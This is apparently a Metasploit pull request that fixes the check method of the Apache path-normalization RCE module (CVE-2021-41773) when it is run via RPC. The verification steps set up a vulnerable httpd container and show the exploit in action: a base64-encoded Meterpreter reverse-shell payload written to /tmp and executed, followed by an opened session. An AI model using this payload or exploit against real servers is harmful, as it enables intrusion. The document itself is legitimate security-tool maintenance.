Fix apache_normalize_path_rce check method

[adfoster-r7]

Fixes a bug in apache_normalize_path_rce's check method via the RPC interface

Verification

Set up a target for RCE

metasploit-framework/documentation/modules/auxiliary/scanner/http/apache_normalize_path.md

Lines 24 to 30 in 2dce738

	```
	docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
	docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
	docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
	docker stop CVE-2021-41773
	docker start CVE-2021-41773
	```

• Ensure the module works via Metasploit console:

msf6 exploit(multi/http/apache_normalize_path_rce) > rerun rhost=192.168.123.1 lhost=192.168.123.1 rport=8080 ssl=false cve=CVE-2021-41773 
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://192.168.123.1:8080 - The target is vulnerable to CVE-2021-41773 (mod_cgi is enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://192.168.123.1:8080 - Attempt to exploit for CVE-2021-41773
[*] http://192.168.123.1:8080 - Sending linux/x64/meterpreter/reverse_tcp command payload
[*] http://192.168.123.1:8080 - Generated command payload: echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCoewFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g== | base64 -d > /tmp/SzoTkiR; chmod +x /tmp/SzoTkiR; /tmp/SzoTkiR; rm -f /tmp/SzoTkiR
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.123.1
[*] Meterpreter session 12 opened (192.168.123.1:4444 -> 192.168.123.1:49301) at 2024-05-01 20:06:43 +0100

Ensure the module works via RPC (i.e. Metasploit Pro)

Before

Check method failed, because the CHECK_RCE method wasn't defaulted correctly for the CheckModule method to work

After

Session opened

[adfoster-r7]

Wired up via

metasploit-framework/lib/msf/core/exploit/remote/check_module.rb

Line 52 in 2dce738

'Options' => datastore.merge(check_options),

[smcintyre-r7]

Release Notes

This fixes an issue in the exploit/multi/http/apache_normalize_path_rce exploit module that affected Metasploit Pro due to how the module was handling datastore options.